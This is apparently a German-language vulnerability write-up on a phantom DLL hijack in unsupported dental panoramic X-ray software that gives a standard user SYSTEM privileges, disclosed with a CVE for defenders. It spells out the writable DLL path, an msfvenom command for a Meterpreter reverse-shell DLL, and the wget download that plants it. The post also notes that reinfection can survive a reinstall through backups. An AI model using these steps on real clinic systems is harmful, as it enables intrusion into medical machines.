
Heimliche Privilegieneskalations-Schwachstelle in Panorama-Zahnbildgebungssoftware
Ursprünglich sollte dies ein Beitrag über DLL-Proxying in einer Dental-Röntgensoftware werden, aber ich stieß während meiner Recherche auf eine DLL, die mich dazu veranlasste, sie genauer zu überprüfen, und letztendlich fand ich eine Schwachstelle zur Privilegienausweitung, die mir eine CVE einbrachte. Früh in meiner Technikkarriere habe ich technischen Support für einen Hersteller von Dental-Röntgengeräten geleistet, bevor dieser schloss. Ich erinnere mich an die Fehler, die dort auftraten, und dachte immer, es wäre eine gute Idee, nach Schwachstellen in dieser Software zu suchen. Da die Software heute noch verwendet wird, beschloss ich zu sehen, ob ich jetzt, da ich nicht mehr im Software-Support tätig bin, etwas Cooles damit anstellen könnte. Ich erinnerte mich, dass es vor einiger Zeit, zu Beginn meines Cybersicherheitsstudiums, einige interessante hijackbare DLLs in dieser Software gab, also beschloss ich, DLL-Proxying auszuprobieren, um eine schädliche DLL auszuführen, während die Software funktionsfähig bleibt (wirklich heimlich). Hier ist der Prozess, dem ich folgte, und wie ich versehentlich eine Privilegienausweitungs-Schwachstelle entdeckte, die (theoretisch) eine saubere Neuinstallation des Betriebssystems überleben kann. Hoffentlich sind diese Informationen nützlich für Blue Teamer.
Ein wichtiger Hinweis: Diese Software erhält keine Updates mehr, aber ich weiß, dass die Röntgengeräte heute noch in den USA verwendet werden, daher besteht immer noch ein gewisses Risiko durch diese Schwachstelle. Sie kann hier heruntergeladen werden, zusammen mit dem Software-Handbuch hier. Ein weiterer Hinweis: Falls diese Software verwendet wird, besteht eine 99%ige Wahrscheinlichkeit, dass die ausgeführten Prozesse und die folgenden Speicherorte in der verwendeten ERD/AV-Whitelist enthalten sind; dies wird auch auf Seite 24 des Software-Handbuchs erwähnt. In diesem Beitrag werde ich dasselbe tun und diese Ausschlüsse hinzufügen, um der Installation dieser Software in jeder Zahnarztpraxis zu entsprechen.

Nachdem die Software installiert und die Ausschlüsse hinzugefügt wurden, starten wir Process Monitor und beginnen mit der Suche. Fügen Sie die folgenden Filter hinzu und starten Sie den "CCS Service" in den Diensten neu:
Sobald dies angezeigt wird, werden Sie feststellen, dass es eine Reihe von hijackbaren DLLs in dieser Software gibt. Sie werden zahlreiche "NAME NOT FOUND"-Ergebnisse sehen, gefolgt von einem "SUCCESS" für dieselbe DLL, nur an einem anderen Ort. Ich blätterte eines Tages durch die Liste, auf der Suche nach einer geeigneten DLL zum Testen des Proxying, und fast ganz unten fiel mir etwas ins Auge...

Könnte es sein?? ES IST. Dies ist eine Phantom-DLL, die mit SYSTEM-Integrität von einem durch den Benutzer beschreibbaren Speicherort aufgerufen wird. Im Wesentlichen ist dies eine DLL, die sich nicht für das Proxying eignet, da sich auf dem Rechner keine tatsächliche DLL befindet. Windows wird versuchen, sie aus einer vordefinierten Reihenfolge von Ordnern aufzurufen.
Und in unserem Szenario ist der 5. Ort C:\ProgramData\Ajat\panoramic\datastor\lnrdlib.dll
und dieser Ort ist von allen Benutzern mit Lese-, Schreib- und Ausführungsberechtigungen versehen. Um das Ganze abzurunden, ist dieser Ort ein Unterordner von C:\ProgramData\Ajat\, der in jeder Umgebung, in der dies verwendet wird, auf der Whitelist stehen sollte.

Hier ist die Netzwerkkonfiguration für diesen Test:
Beginnen wir damit, eine einfache Vanilla-Meterpreter-DLL zu erstellen, da wir uns keine Gedanken über AV machen müssen, und starten dann einen HTTP-Server, um sie zu übertragen.
## msfvenom to make dll
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.1.137 LPORT=443 -f dll > lnrdlib.dll
## python http server
python3 -m http.server 80
Zurück unter Windows wechseln wir zu unserem Standardbenutzerkonto, öffnen PowerShell und navigieren zu diesem datastor-Ordner und führen Folgendes aus:
wget http://10.0.1.137/lnrdlib.dll -outfile lnrdlib.dll

Wenn alles richtig gemacht wurde, müssen wir nur den Computer neu starten, um den Exploit auszulösen (da dies ein normaler Benutzer tun kann, wird auch ein Neustart des CCS-Dienstes dies auslösen).

ERFOLG!!!
Nun, eines der wichtigsten Dinge an dem datastor-Speicherort ist, dass es einer der beiden Speicherorte ist, die gesichert werden sollten, falls der Computer aus irgendeinem Grund gelöscht oder ersetzt und die Software neu installiert wird. Wenn der Inhalt des calib-Ordners verloren geht, muss ein Techniker kommen und das Röntgengerät neu kalibrieren, um diese wiederherzustellen. Wenn die datastor-Dateien verloren gehen, verliert man die neuesten Röntgenbilder, die noch nicht gespeichert wurden, daher ist dieser Speicherort etwas optional für die Sicherung. Dieser Ort ist der Ort, an dem die Malware residieren wird, daher ist es theoretisch möglich, dass jemand versehentlich einen Computer erneut mit der Malware infiziert, wenn er den Inhalt eines gesicherten datastor wiederherstellt, der die Malware und alle diese kürzlich aufgenommenen Röntgenbilder enthielt, auf dem neuen Computer. Dies wird auf Seite zwei des Software-Handbuchs erwähnt.
